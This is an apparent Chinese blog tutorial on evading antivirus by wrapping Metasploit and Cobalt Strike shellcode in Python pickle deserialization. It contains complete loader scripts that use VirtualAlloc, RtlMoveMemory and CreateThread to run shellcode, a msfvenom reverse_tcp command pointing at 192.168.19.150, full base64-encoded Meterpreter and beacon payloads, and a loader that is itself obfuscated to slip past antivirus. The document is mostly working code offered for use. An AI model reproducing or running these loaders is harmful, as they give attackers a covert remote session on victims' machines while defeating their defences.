免杀对抗-MSF\CS-shellcode反序列化

目录

1.py

2.py

上线过程

---

1.py

对代码段进行序列化数据生成

import pickle
import base64

#shellcode值如下面两块代码块，直接插进来即可
shellcode ='''

'''
class A(object):
    def __reduce__(self):
        return exec, (shellcode,)
#exec将shellcode的文本信息当作代码执行


ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
#将生成的序列化数据即序列化shellcode插进2.py里面的shellcode，进行反序列化，编译的过程中将执行上述shellcode里面的文本当作代码执行

生成对象A的序列化数据并base64编码
对象A在干嘛？
调用魔术方法进行exec shellcode执行
shellcode是一整块源码，如下：

base64生成的加密payload:
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.19.150 lport=6688 -f c


#以下是base64编码的上线py
import ctypes
import base64

encode_shellcode = b""
encode_shellcode += b"\x2f\x45\x69\x44\x35\x50\x44\x6f\x7a\x41\x41\x41\x41\x45"
encode_shellcode += b"\x46\x52\x51\x56\x42\x53\x53\x44\x48\x53\x5a\x55\x69\x4c"
encode_shellcode += b"\x55\x6d\x42\x49\x69\x31\x49\x59\x55\x56\x5a\x49\x69\x31"
encode_shellcode += b"\x49\x67\x54\x54\x48\x4a\x53\x41\x2b\x33\x53\x6b\x70\x49"
encode_shellcode += b"\x69\x33\x4a\x51\x53\x44\x48\x41\x72\x44\x78\x68\x66\x41"
encode_shellcode += b"\x49\x73\x49\x45\x48\x42\x79\x51\x31\x42\x41\x63\x48\x69"
encode_shellcode += b"\x37\x56\x4a\x42\x55\x55\x69\x4c\x55\x69\x43\x4c\x51\x6a"
encode_shellcode += b"\x78\x49\x41\x64\x42\x6d\x67\x58\x67\x59\x43\x77\x49\x50"
encode_shellcode += b"\x68\x58\x49\x41\x41\x41\x43\x4c\x67\x49\x67\x41\x41\x41"
encode_shellcode += b"\x42\x49\x68\x63\x42\x30\x5a\x30\x67\x42\x30\x49\x74\x49"
encode_shellcode += b"\x47\x45\x53\x4c\x51\x43\x42\x4a\x41\x64\x42\x51\x34\x31"
encode_shellcode += b"\x5a\x49\x2f\x38\x6c\x4e\x4d\x63\x6c\x42\x69\x7a\x53\x49"
encode_shellcode += b"\x53\x41\x48\x57\x53\x44\x48\x41\x72\x45\x48\x42\x79\x51"
encode_shellcode += b"\x31\x42\x41\x63\x45\x34\x34\x48\x58\x78\x54\x41\x4e\x4d"
encode_shellcode += b"\x4a\x41\x68\x46\x4f\x64\x46\x31\x32\x46\x68\x45\x69\x30"
encode_shellcode += b"\x41\x6b\x53\x51\x48\x51\x5a\x6b\x47\x4c\x44\x45\x68\x45"
encode_shellcode += b"\x69\x30\x41\x63\x53\x51\x48\x51\x51\x59\x73\x45\x69\x45"
encode_shellcode += b"\x67\x42\x30\x45\x46\x59\x51\x56\x68\x65\x57\x56\x70\x42"
encode_shellcode += b"\x57\x45\x46\x5a\x51\x56\x70\x49\x67\x2b\x77\x67\x51\x56"
encode_shellcode += b"\x4c\x2f\x34\x46\x68\x42\x57\x56\x70\x49\x69\x78\x4c\x70"
encode_shellcode += b"\x53\x2f\x2f\x2f\x2f\x31\x31\x4a\x76\x6e\x64\x7a\x4d\x6c"
encode_shellcode += b"\x38\x7a\x4d\x67\x41\x41\x51\x56\x5a\x4a\x69\x65\x5a\x49"
encode_shellcode += b"\x67\x65\x79\x67\x41\x51\x41\x41\x53\x59\x6e\x6c\x53\x62"
encode_shellcode += b"\x77\x43\x41\x42\x6f\x67\x77\x4b\x67\x54\x6c\x6b\x46\x55"
encode_shellcode += b"\x53\x59\x6e\x6b\x54\x49\x6e\x78\x51\x62\x70\x4d\x64\x79"
encode_shellcode += b"\x59\x48\x2f\x39\x56\x4d\x69\x65\x70\x6f\x41\x51\x45\x41"
encode_shellcode += b"\x41\x46\x6c\x42\x75\x69\x6d\x41\x61\x77\x44\x2f\x31\x57"
encode_shellcode += b"\x6f\x4b\x51\x56\x35\x51\x55\x45\x30\x78\x79\x55\x30\x78"
encode_shellcode += b"\x77\x45\x6a\x2f\x77\x45\x69\x4a\x77\x6b\x6a\x2f\x77\x45"
encode_shellcode += b"\x69\x4a\x77\x55\x47\x36\x36\x67\x2f\x66\x34\x50\x2f\x56"
encode_shellcode += b"\x53\x49\x6e\x48\x61\x68\x42\x42\x57\x45\x79\x4a\x34\x6b"
encode_shellcode += b"\x69\x4a\x2b\x55\x47\x36\x6d\x61\x56\x30\x59\x66\x2f\x56"
encode_shellcode += b"\x68\x63\x42\x30\x43\x6b\x6e\x2f\x7a\x6e\x58\x6c\x36\x4a"
encode_shellcode += b"\x4d\x41\x41\x41\x42\x49\x67\x2b\x77\x51\x53\x49\x6e\x69"
encode_shellcode += b"\x54\x54\x48\x4a\x61\x67\x52\x42\x57\x45\x69\x4a\x2b\x55"
encode_shellcode += b"\x47\x36\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67\x41"
encode_shellcode += b"\x66\x6c\x56\x49\x67\x38\x51\x67\x58\x6f\x6e\x32\x61\x6b"
encode_shellcode += b"\x42\x42\x57\x57\x67\x41\x45\x41\x41\x41\x51\x56\x68\x49"
encode_shellcode += b"\x69\x66\x4a\x49\x4d\x63\x6c\x42\x75\x6c\x69\x6b\x55\x2b"
encode_shellcode += b"\x58\x2f\x31\x55\x69\x4a\x77\x30\x6d\x4a\x78\x30\x30\x78"
encode_shellcode += b"\x79\x55\x6d\x4a\x38\x45\x69\x4a\x32\x6b\x69\x4a\x2b\x55"
encode_shellcode += b"\x47\x36\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67\x41"
encode_shellcode += b"\x66\x53\x68\x59\x51\x56\x64\x5a\x61\x41\x42\x41\x41\x41"
encode_shellcode += b"\x42\x42\x57\x47\x6f\x41\x57\x6b\x47\x36\x43\x79\x38\x50"
encode_shellcode += b"\x4d\x50\x2f\x56\x56\x31\x6c\x42\x75\x6e\x56\x75\x54\x57"
encode_shellcode += b"\x48\x2f\x31\x55\x6e\x2f\x7a\x75\x6b\x38\x2f\x2f\x2f\x2f"
encode_shellcode += b"\x53\x41\x48\x44\x53\x43\x6e\x47\x53\x49\x58\x32\x64\x62"
encode_shellcode += b"\x52\x42\x2f\x2b\x64\x59\x61\x67\x42\x5a\x53\x63\x66\x43"
encode_shellcode += b"\x38\x4c\x57\x69\x56\x76\x2f\x56"
#解码
shellcode = base64.b64decode(encode_shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

OR

import ctypes
import base64

# cs，需要将生成的payload进行base64加密
shellcode=b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulPXWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuCAaAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOiiL0dXeEcADBHQA2UlJG9WXfPOLnIMwVIadjd6T751LQjP7CzDvH5ii+loNJDvAnyGACcv6DgVmx9plvq5BnqrDGq+ziEAm9khqIda5KWYTQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMDsgQk9JRTk7RU5VUykNCgDa5zqsyAsY1zK74s++6vU4oR1CRNd/GkETmSNwVwwlJ+utIczKGV1H14RMti8cB87ochv91yZE8prqplXb6ddXOMJfKy8b6yavtoUx3ZpqNVU6qpyT9bUfrxXOdzmS9bHmUgE3ec0/u43dDe6/n9WDipxDRlE7Xmx4Ht671qf0rYa6zNdjvnb+bUv1s6FzTJE/JRMyKvEX1fztPrWXKuAsDSIyhc9w4nRXfBZxLKtoLBQsq6ryEgbObXUCvFrKT5mGgvXfLZPf5YXE9jPrSPr6KdFpB6gAQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTkuMTUwABI0Vng='
#解密shellcode
shellcode=base64.b64decode(shellcode)
#添加加载器
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

注：以上的shellcode脚本可以将加载器进行base64加密后在插入解密，绕过杀软效果更好，如下CS的payload为例：

import ctypes
import base64

# cs，需要将生成的payload进行base64加密
shellcode=b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulPXWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9Xrc1pIicFBuCAaAABNMclBUUFRagNBUUG6V4mfxv/V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifFIidpJx8D/TTHJUlJBui0GGHv/1YXAD4WdAQAASP/PD4SMAQAA69Pp5AEAAOiiL0dXeEcADBHQA2UlJG9WXfPOLnIMwVIadjd6T751LQjP7CzDvH5ii+loNJDvAnyGACcv6DgVmx9plvq5BnqrDGq+ziEAm9khqIda5KWYTQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4wOyBUcmlkZW50LzUuMDsgQk9JRTk7RU5VUykNCgDa5zqsyAsY1zK74s++6vU4oR1CRNd/GkETmSNwVwwlJ+utIczKGV1H14RMti8cB87ochv91yZE8prqplXb6ddXOMJfKy8b6yavtoUx3ZpqNVU6qpyT9bUfrxXOdzmS9bHmUgE3ec0/u43dDe6/n9WDipxDRlE7Xmx4Ht671qf0rYa6zNdjvnb+bUv1s6FzTJE/JRMyKvEX1fztPrWXKuAsDSIyhc9w4nRXfBZxLKtoLBQsq6ryEgbObXUCvFrKT5mGgvXfLZPf5YXE9jPrSPr6KdFpB6gAQb7wtaJW/9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zE5Mi4xNjguMTkuMTUwABI0Vng='
#解密shellcode
shellcode=base64.b64decode(shellcode)
#下面的加载器是先经过base64加密的，所以得解密
z='Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NApyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MzAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChyd3hwYWdlKSwgY3R5cGVzLmNyZWF0ZV9zdHJpbmdfYnVmZmVyKHNoZWxsY29kZSksIGxlbihzaGVsbGNvZGUpKQpoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgwLCAwLCBjdHlwZXMuY191aW50NjQocnd4cGFnZSksIDAsIDAsIDApCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChoYW5kbGUsIC0xKQ=='
exec(base64.b64decode(z))
#修改后插入到shellcode位置处，1.py运行结果如下
#b'gASVpAcAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFiFBwAACmltcG9ydCBjdHlwZXMKaW1wb3J0IGJhc2U2NAoKIyBjc++8jOmcgOimgeWwhueUn+aIkOeahHBheWxvYWTov5vooYxiYXNlNjTliqDlr4YKc2hlbGxjb2RlPWInL0VpRDVQRG95QUFBQUVGUlFWQlNVVlpJTWRKbFNJdFNZRWlMVWhoSWkxSWdTSXR5VUVnUHQwcEtUVEhKU0RIQXJEeGhmQUlzSUVIQnlRMUJBY0hpN1ZKQlVVaUxVaUNMUWp4SUFkQm1nWGdZQ3dKMWNvdUFpQUFBQUVpRndIUm5TQUhRVUl0SUdFU0xRQ0JKQWREalZrai95VUdMTkloSUFkWk5NY2xJTWNDc1FjSEpEVUVCd1RqZ2RmRk1BMHdrQ0VVNTBYWFlXRVNMUUNSSkFkQm1RWXNNU0VTTFFCeEpBZEJCaXdTSVNBSFFRVmhCV0Y1WldrRllRVmxCV2tpRDdDQkJVdi9nV0VGWldraUxFdWxQLy8vL1hXb0FTYjUzYVc1cGJtVjBBRUZXU1lubVRJbnhRYnBNZHlZSC85VklNY2xJTWRKTk1jQk5NY2xCVUVGUVFibzZWbm1uLzlYcmMxcElpY0ZCdUNBYUFBQk5NY2xCVVVGUmFnTkJVVUc2VjRtZnh2L1Y2MWxiU0luQlNESFNTWW5ZVFRISlVtZ0FBa0NFVWxKQnV1dFZManYvMVVpSnhraUR3MUJxQ2w5SWlmRklpZHBKeDhELy8vLy9UVEhKVWxKQnVpMEdHSHYvMVlYQUQ0V2RBUUFBU1AvUEQ0U01BUUFBNjlQcDVBRUFBT2lpLy8vL0wwZFhlRWNBREJIUUEyVWxKRzlXWGZQT0xuSU13VklhZGpkNlQ3NTFMUWpQN0N6RHZINWlpK2xvTkpEdkFueUdBQ2N2NkRnVm14OXBsdnE1Qm5xckRHcSt6aUVBbTlraHFJZGE1S1dZVFFCVmMyVnlMVUZuWlc1ME9pQk5iM3BwYkd4aEx6VXVNQ0FvWTI5dGNHRjBhV0pzWlRzZ1RWTkpSU0E1TGpBN0lGZHBibVJ2ZDNNZ1RsUWdOaTR3T3lCVWNtbGtaVzUwTHpVdU1Ec2dRazlKUlRrN1JVNVZVeWtOQ2dEYTV6cXN5QXNZMXpLNzRzKys2dlU0b1IxQ1JOZC9Ha0VUbVNOd1Z3d2xKK3V0SWN6S0dWMUgxNFJNdGk4Y0I4N29jaHY5MXlaRThwcnFwbFhiNmRkWE9NSmZLeThiNnlhdnRvVXgzWnBxTlZVNnFweVQ5YlVmcnhYT2R6bVM5YkhtVWdFM2VjMC91NDNkRGU2L245V0RpcHhEUmxFN1hteDRIdDY3MXFmMHJZYTZ6TmRqdm5iK2JVdjFzNkZ6VEpFL0pSTXlLdkVYMWZ6dFByV1hLdUFzRFNJeWhjOXc0blJYZkJaeExLdG9MQlFzcTZyeUVnYk9iWFVDdkZyS1Q1bUdndlhmTFpQZjVZWEU5alByU1ByNktkRnBCNmdBUWI3d3RhSlcvOVZJTWNtNkFBQkFBRUc0QUJBQUFFRzVRQUFBQUVHNldLUlQ1Zi9WU0pOVFUwaUo1MGlKOFVpSjJrRzRBQ0FBQUVtSitVRzZFcGFKNHYvVlNJUEVJSVhBZExabWl3ZElBY09Gd0hYWFdGaFlTQVVBQUFBQVVNUG9uLzMvL3pFNU1pNHhOamd1TVRrdU1UVXdBQkkwVm5nPScKI+ino+WvhnNoZWxsY29kZQpzaGVsbGNvZGU9YmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCiPmt7vliqDliqDovb3lmagKej0nWTNSNWNHVnpMbmRwYm1Sc2JDNXJaWEp1Wld3ek1pNVdhWEowZFdGc1FXeHNiMk11Y21WemRIbHdaU0E5SUdOMGVYQmxjeTVqWDNWcGJuUTJOQXB5ZDNod1lXZGxJRDBnWTNSNWNHVnpMbmRwYm1Sc2JDNXJaWEp1Wld3ek1pNVdhWEowZFdGc1FXeHNiMk1vTUN3Z2JHVnVLSE5vWld4c1kyOWtaU2tzSURCNE16QXdNQ3dnTUhnME1Da0tZM1I1Y0dWekxuZHBibVJzYkM1clpYSnVaV3d6TWk1U2RHeE5iM1psVFdWdGIzSjVLR04wZVhCbGN5NWpYM1ZwYm5RMk5DaHlkM2h3WVdkbEtTd2dZM1I1Y0dWekxtTnlaV0YwWlY5emRISnBibWRmWW5WbVptVnlLSE5vWld4c1kyOWtaU2tzSUd4bGJpaHphR1ZzYkdOdlpHVXBLUXBvWVc1a2JHVWdQU0JqZEhsd1pYTXVkMmx1Wkd4c0xtdGxjbTVsYkRNeUxrTnlaV0YwWlZSb2NtVmhaQ2d3TENBd0xDQmpkSGx3WlhNdVkxOTFhVzUwTmpRb2NuZDRjR0ZuWlNrc0lEQXNJREFzSURBcENtTjBlWEJsY3k1M2FXNWtiR3d1YTJWeWJtVnNNekl1VjJGcGRFWnZjbE5wYm1kc1pVOWlhbVZqZENob1lXNWtiR1VzSUMweEtRPT0nCmV4ZWMoYmFzZTY0LmI2NGRlY29kZSh6KSmUhZRSlC4='

2.py

另外一个反序列化解析 执行 上线

import base64
import ctypes
import pickle
#MSF
#shellcode = b'gASVXAkAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFg9CQAACmltcG9ydCBjdHlwZXMKaW1wb3J0IGJhc2U2NAoKZW5jb2RlX3NoZWxsY29kZSA9IGIiIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiL0VpRDVQRG96QUFBQUUiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJGUlFWQlNTREhTWlVpTCIKZW5jb2RlX3NoZWxsY29kZSArPSBiIlVtQklpMUlZVVZaSWkxIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiSWdUVEhKU0ErM1NrcEkiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJpM0pRU0RIQXJEeGhmQSIKZW5jb2RlX3NoZWxsY29kZSArPSBiIklzSUVIQnlRMUJBY0hpIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiN1ZKQlVVaUxVaUNMUWoiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJ4SUFkQm1nWGdZQ3dJUCIKZW5jb2RlX3NoZWxsY29kZSArPSBiImhYSUFBQUNMZ0lnQUFBIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiQkloY0IwWjBnQjBJdEkiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJHRVNMUUNCSkFkQlE0MSIKZW5jb2RlX3NoZWxsY29kZSArPSBiIlpJLzhsTk1jbEJpelNJIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiU0FIV1NESEFyRUhCeVEiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiIxQkFjRTQ0SFh4VEFOTSIKZW5jb2RlX3NoZWxsY29kZSArPSBiIkpBaEZPZEYxMkZoRWkwIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiQWtTUUhRWmtHTERFaEUiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJpMEFjU1FIUVFZc0VpRSIKZW5jb2RlX3NoZWxsY29kZSArPSBiImdCMEVGWVFWaGVXVnBCIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiV0VGWlFWcElnK3dnUVYiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJMLzRGaEJXVnBJaXhMcCIKZW5jb2RlX3NoZWxsY29kZSArPSBiIlMvLy8vMTFKdm5kek1sIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiOHpNZ0FBUVZaSmllWkkiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJnZXlnQVFBQVNZbmxTYiIKZW5jb2RlX3NoZWxsY29kZSArPSBiIndDQUJvZ3dLZ1Rsa0ZVIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiU1lua1RJbnhRYnBNZHkiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJZSC85Vk1pZXBvQVFFQSIKZW5jb2RlX3NoZWxsY29kZSArPSBiIkFGbEJ1aW1BYXdELzFXIgplbmNvZGVfc2hlbGxjb2RlICs9IGIib0tRVjVRVUUweHlVMHgiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJ3RWovd0VpSndrai93RSIKZW5jb2RlX3NoZWxsY29kZSArPSBiImlKd1VHNjZnL2Y0UC9WIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiU0luSGFoQkJXRXlKNGsiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJpSitVRzZtYVYwWWYvViIKZW5jb2RlX3NoZWxsY29kZSArPSBiImhjQjBDa24vem5YbDZKIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiTUFBQUJJZyt3UVNJbmkiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJUVEhKYWdSQldFaUorVSIKZW5jb2RlX3NoZWxsY29kZSArPSBiIkc2QXRuSVgvL1ZnL2dBIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiZmxWSWc4UWdYb24yYWsiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJCQldXZ0FFQUFBUVZoSSIKZW5jb2RlX3NoZWxsY29kZSArPSBiImlmSklNY2xCdWxpa1UrIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiWC8xVWlKdzBtSngwMHgiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJ5VW1KOEVpSjJraUorVSIKZW5jb2RlX3NoZWxsY29kZSArPSBiIkc2QXRuSVgvL1ZnL2dBIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiZlNoWVFWZFphQUJBQUEiCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJCQldHb0FXa0c2Q3k4UCIKZW5jb2RlX3NoZWxsY29kZSArPSBiIk1QL1ZWMWxCdW5WdVRXIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiSC8xVW4venVrOC8vLy8iCmVuY29kZV9zaGVsbGNvZGUgKz0gYiJTQUhEU0NuR1NJWDJkYiIKZW5jb2RlX3NoZWxsY29kZSArPSBiIlJCLytkWWFnQlpTY2ZDIgplbmNvZGVfc2hlbGxjb2RlICs9IGIiOExXaVZ2L1YiCiPop6PnoIEKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShlbmNvZGVfc2hlbGxjb2RlKQoKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NApyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MzAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChyd3hwYWdlKSwgY3R5cGVzLmNyZWF0ZV9zdHJpbmdfYnVmZmVyKHNoZWxsY29kZSksIGxlbihzaGVsbGNvZGUpKQpoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgwLCAwLCBjdHlwZXMuY191aW50NjQocnd4cGFnZSksIDAsIDAsIDApCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChoYW5kbGUsIC0xKZSFlFKULg=='

#CS
shellcode = b'gASV0AYAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFixBgAACmltcG9ydCBjdHlwZXMKaW1wb3J0IGJhc2U2NAoKIyBjcwpzaGVsbGNvZGU9YicvRWlENVBEb3lBQUFBRUZSUVZCU1VWWklNZEpsU0l0U1lFaUxVaGhJaTFJZ1NJdHlVRWdQdDBwS1RUSEpTREhBckR4aGZBSXNJRUhCeVExQkFjSGk3VkpCVVVpTFVpQ0xRanhJQWRCbWdYZ1lDd0oxY291QWlBQUFBRWlGd0hSblNBSFFVSXRJR0VTTFFDQkpBZERqVmtqL3lVR0xOSWhJQWRaTk1jbElNY0NzUWNISkRVRUJ3VGpnZGZGTUEwd2tDRVU1MFhYWVdFU0xRQ1JKQWRCbVFZc01TRVNMUUJ4SkFkQkJpd1NJU0FIUVFWaEJXRjVaV2tGWVFWbEJXa2lEN0NCQlV2L2dXRUZaV2tpTEV1bFAvLy8vWFdvQVNiNTNhVzVwYm1WMEFFRldTWW5tVElueFFicE1keVlILzlWSU1jbElNZEpOTWNCTk1jbEJVRUZRUWJvNlZubW4vOVhyYzFwSWljRkJ1Q0FhQUFCTk1jbEJVVUZSYWdOQlVVRzZWNG1meHYvVjYxbGJTSW5CU0RIU1NZbllUVEhKVW1nQUFrQ0VVbEpCdXV0Vkxqdi8xVWlKeGtpRHcxQnFDbDlJaWZGSWlkcEp4OEQvLy8vL1RUSEpVbEpCdWkwR0dIdi8xWVhBRDRXZEFRQUFTUC9QRDRTTUFRQUE2OVBwNUFFQUFPaWkvLy8vTDBkWGVFY0FEQkhRQTJVbEpHOVdYZlBPTG5JTXdWSWFkamQ2VDc1MUxRalA3Q3pEdkg1aWkrbG9OSkR2QW55R0FDY3Y2RGdWbXg5cGx2cTVCbnFyREdxK3ppRUFtOWtocUlkYTVLV1lUUUJWYzJWeUxVRm5aVzUwT2lCTmIzcHBiR3hoTHpVdU1DQW9ZMjl0Y0dGMGFXSnNaVHNnVFZOSlJTQTVMakE3SUZkcGJtUnZkM01nVGxRZ05pNHdPeUJVY21sa1pXNTBMelV1TURzZ1FrOUpSVGs3UlU1VlV5a05DZ0RhNXpxc3lBc1kxeks3NHMrKzZ2VTRvUjFDUk5kL0drRVRtU053Vnd3bEordXRJY3pLR1YxSDE0Uk10aThjQjg3b2NodjkxeVpFOHBycXBsWGI2ZGRYT01KZkt5OGI2eWF2dG9VeDNacHFOVlU2cXB5VDliVWZyeFhPZHptUzliSG1VZ0UzZWMwL3U0M2REZTYvbjlXRGlweERSbEU3WG14NEh0NjcxcWYwcllhNnpOZGp2bmIrYlV2MXM2RnpUSkUvSlJNeUt2RVgxZnp0UHJXWEt1QXNEU0l5aGM5dzRuUlhmQlp4TEt0b0xCUXNxNnJ5RWdiT2JYVUN2RnJLVDVtR2d2WGZMWlBmNVlYRTlqUHJTUHI2S2RGcEI2Z0FRYjd3dGFKVy85VklNY202QUFCQUFFRzRBQkFBQUVHNVFBQUFBRUc2V0tSVDVmL1ZTSk5UVTBpSjUwaUo4VWlKMmtHNEFDQUFBRW1KK1VHNkVwYUo0di9WU0lQRUlJWEFkTFptaXdkSUFjT0Z3SFhYV0ZoWVNBVUFBQUFBVU1Qb24vMy8vekU1TWk0eE5qZ3VNVGt1TVRVd0FCSTBWbmc9Jwoj6Kej5a+Gc2hlbGxjb2RlCnNoZWxsY29kZT1iYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKI+a3u+WKoOWKoOi9veWZqApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CnJ3eHBhZ2UgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYygwLCBsZW4oc2hlbGxjb2RlKSwgMHgzMDAwLCAweDQwKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoY3R5cGVzLmNfdWludDY0KHJ3eHBhZ2UpLCBjdHlwZXMuY3JlYXRlX3N0cmluZ19idWZmZXIoc2hlbGxjb2RlKSwgbGVuKHNoZWxsY29kZSkpCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKDAsIDAsIGN0eXBlcy5jX3VpbnQ2NChyd3hwYWdlKSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEplIWUUpQu'

pickle.loads(base64.b64decode(shellcode))

上线过程

以下以MSF的payload为例

以下以CS的payload为例

若有收获，就点个赞吧